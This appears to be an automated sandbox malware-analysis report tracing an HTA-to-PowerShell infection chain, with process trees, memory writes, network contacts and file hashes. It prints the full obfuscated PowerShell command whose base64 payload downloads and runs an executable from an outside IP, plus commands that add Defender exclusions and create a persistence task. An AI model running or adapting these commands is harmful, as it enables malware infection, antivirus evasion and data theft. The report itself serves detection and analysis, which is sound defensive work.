Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2092 wrote to memory of 3628 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2092 wrote to memory of 3628 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2092 wrote to memory of 3628 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 3628 wrote to memory of 1304 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3628 wrote to memory of 1304 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3628 wrote to memory of 1304 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3628 wrote to memory of 2780 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3628 wrote to memory of 2780 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3628 wrote to memory of 2780 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 2780 wrote to memory of 448 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2780 wrote to memory of 448 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2780 wrote to memory of 448 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3628 wrote to memory of 4160 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3628 wrote to memory of 4160 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3628 wrote to memory of 4160 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 732 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 732 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 732 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 4160 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 4160 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4160 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE

"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES953B.tmp" "c:\Users\Admin\AppData\Local\Temp\pioainsv\CSCCCA93449458046FB91A41D5B7BA14CC7.TMP"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1D18.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
DE 94.156.177.95:80 tcp
US 8.8.8.8:53 85.49.80.91.in-addr.arpa udp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/3628-0-0x0000000070D4E000-0x0000000070D4F000-memory.dmp

memory/3628-1-0x0000000070D40000-0x00000000714F0000-memory.dmp

memory/3628-2-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

memory/3628-3-0x0000000070D40000-0x00000000714F0000-memory.dmp

memory/3628-4-0x0000000005BF0000-0x0000000006218000-memory.dmp

memory/3628-5-0x00000000059E0000-0x0000000005A02000-memory.dmp

memory/3628-6-0x0000000005A80000-0x0000000005AE6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4g130yri.x1t.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3628-7-0x0000000005AF0000-0x0000000005B56000-memory.dmp

memory/3628-17-0x0000000006320000-0x0000000006674000-memory.dmp

memory/3628-18-0x00000000067A0000-0x00000000067BE000-memory.dmp

memory/3628-19-0x00000000067E0000-0x000000000682C000-memory.dmp

memory/1304-29-0x0000000005FE0000-0x0000000006012000-memory.dmp

memory/1304-30-0x000000006D600000-0x000000006D64C000-memory.dmp

memory/1304-40-0x0000000006020000-0x000000000603E000-memory.dmp

memory/1304-41-0x0000000006C40000-0x0000000006CE3000-memory.dmp

memory/1304-42-0x00000000073B0000-0x0000000007A2A000-memory.dmp

memory/1304-43-0x0000000006D60000-0x0000000006D7A000-memory.dmp

memory/1304-44-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

memory/1304-45-0x0000000006FF0000-0x0000000007086000-memory.dmp

memory/1304-46-0x0000000006F60000-0x0000000006F71000-memory.dmp

memory/1304-47-0x0000000006F90000-0x0000000006F9E000-memory.dmp

memory/1304-48-0x0000000006FA0000-0x0000000006FB4000-memory.dmp

memory/1304-49-0x00000000070B0000-0x00000000070CA000-memory.dmp

memory/1304-50-0x0000000006FE0000-0x0000000006FE8000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.cmdline

MD5 0c8157ae8c8644baca532fca3cf78a23
SHA1 68bcbc107ae0af17d26e3fa1664531a29311eb30
SHA256 d9f9617f78f5add827b8c0c78aed858248002ddbf039686a74fa99f9c5e3241b
SHA512 404c7f407cb6d7f1318e74c257c99e17a649715a1a55db6887df633bc419ff964265cc73e29077b5c08198c753aa060081d0f4a04ca5652bf93326bf2d55186c

\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.0.cs

MD5 ee60617752b2061187e3773f962ff810
SHA1 5d3dc400820671b51499e9003fcbd7794d07e315
SHA256 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9
SHA512 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231

\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\CSCCCA93449458046FB91A41D5B7BA14CC7.TMP

MD5 8ac91e40550b9d58561c8d82ac6504d4
SHA1 ec833cc84868bed55587b91fb6106489be4c3a93
SHA256 d96dea45c953da282df5eccedb7628d1c813a729a43305d92bb65bc5c89e3ba5
SHA512 0417d04a97d985ed1b1fdd83cc54b297be79deaef697ceb134aaf6e3d218264107259007f694c028aa0acbd3419c755cd4c8666ea45d8d214571839813a1a1b9

C:\Users\Admin\AppData\Local\Temp\RES953B.tmp

MD5 62f0660cf52ed395b4a6425343382ae4
SHA1 1261c0e6aeb74b2286484185b604be403fe4f7c6
SHA256 1570347e257d7650de62eae73f427662fc3755c8449c3ef7efb31e51a6064f2f
SHA512 00a33b0456f01d40ad922be0c8afd22d698d57965fb015e4d32596b906063d3d9ca834a7019c2edc314dba7f6925d52c66d54dccdfb0ea5c0e0b46988baabeb3

C:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.dll

MD5 044e6a34491a8197e84c9f889c99701b
SHA1 eaa3d724005bf475c8d606b5180925ca547f357c
SHA256 54cc5ffd4e06dda02481b2decd77916ebbd690c6881aa799a44312e127b87fc4
SHA512 abf02f8dea56635cfc7e017ac1e760a50310ca640d2c4944e0439ab6636b79925964db18d13de05eb0183ef6e3e887b4ea7f6ecee97a5e8849742e413127723b

memory/3628-65-0x0000000006D40000-0x0000000006D48000-memory.dmp

memory/3628-71-0x0000000070D4E000-0x0000000070D4F000-memory.dmp

memory/3628-72-0x0000000070D40000-0x00000000714F0000-memory.dmp

C:\Users\Admin\AppData\Roaming\caspol.exe

MD5 8c34e99269d4121a0dfe4c3eaa9e269f
SHA1 5bbaa7dc726324e057eb4f78856c368488c4805a
SHA256 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76
SHA512 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POwerSHELL.ExE.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 33efa80f7a462a31b816cd9e90eed2b2
SHA1 e5d0658f1bb78032c97bc8aec243170b0a2e9ba8
SHA256 2520944452a4389e0020c4e9fd750c9a28b634815225cf5fc2ecc57d187e40ea
SHA512 eae580dfe2249e7619e99afe86fe42dd82d658fc715bfa50650e91c83fdd415ce4910f85ace84faffac4e7d24512dbbfa336c4e5dc053534933d1d30a893d838

memory/3628-81-0x0000000070D40000-0x00000000714F0000-memory.dmp

memory/4160-82-0x0000000000620000-0x00000000006A2000-memory.dmp

memory/4160-83-0x00000000054C0000-0x0000000005A64000-memory.dmp

memory/4160-84-0x0000000004FB0000-0x0000000005042000-memory.dmp

memory/4160-85-0x0000000004F70000-0x0000000004F7A000-memory.dmp

memory/4160-86-0x0000000005220000-0x00000000052BC000-memory.dmp

memory/4160-87-0x0000000006650000-0x0000000006662000-memory.dmp

memory/4160-88-0x00000000068F0000-0x0000000006954000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp1D18.tmp

MD5 c7ba5c1ac848550536c780356482e630
SHA1 42eb99f2ba3898360a9b6b9ecde96b2682ee0f65
SHA256 ca5a8bb1950af70a8b5f0191c5b1d515b9f7f7a5f1ac8854673534339b90a3e6
SHA512 baac35432b1d2f125357caa0037b37e60e317f6fd89d6aa2c543abe954e03d2ddadd3651d250a5e93b8bb9429f823894c216494d5503ab3ee373debbdb66e477

memory/2160-103-0x00000000057F0000-0x0000000005B44000-memory.dmp

memory/3252-106-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/3252-104-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2160-118-0x00000000062B0000-0x00000000062FC000-memory.dmp

memory/2160-119-0x000000006DBE0000-0x000000006DC2C000-memory.dmp

memory/2160-129-0x0000000006D20000-0x0000000006DC3000-memory.dmp

memory/732-133-0x000000006DBE0000-0x000000006DC2C000-memory.dmp

memory/2160-143-0x0000000007270000-0x0000000007281000-memory.dmp

memory/2160-144-0x00000000072B0000-0x00000000072C4000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4638accf0fe5ee6fb9a8dc65f26d51f5
SHA1 95753a5b406d5c40f3fe2bf73ec1c2c8e63fd43c
SHA256 e0c35fdec51ba0b320b993525b99455d726cf35d2b370f06da994994212a5dc7
SHA512 79fd049a717bb8b697217d0deec692504654a289cd33cf8418fde9f306a3d49085ae0a16b3a4648b72128edb539a97a6b3298b355910ce6d6bb1b323d1c8b6ea

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2878641211-696417878-3864914810-1000\0f5007522459c86e95ffcc62f32308f1_4fc725d8-4f7d-4884-b878-08bb0ce6c800

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2878641211-696417878-3864914810-1000\0f5007522459c86e95ffcc62f32308f1_4fc725d8-4f7d-4884-b878-08bb0ce6c800

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b